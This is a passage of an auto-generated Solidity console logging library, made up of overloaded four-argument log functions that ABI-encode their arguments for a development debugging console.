_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
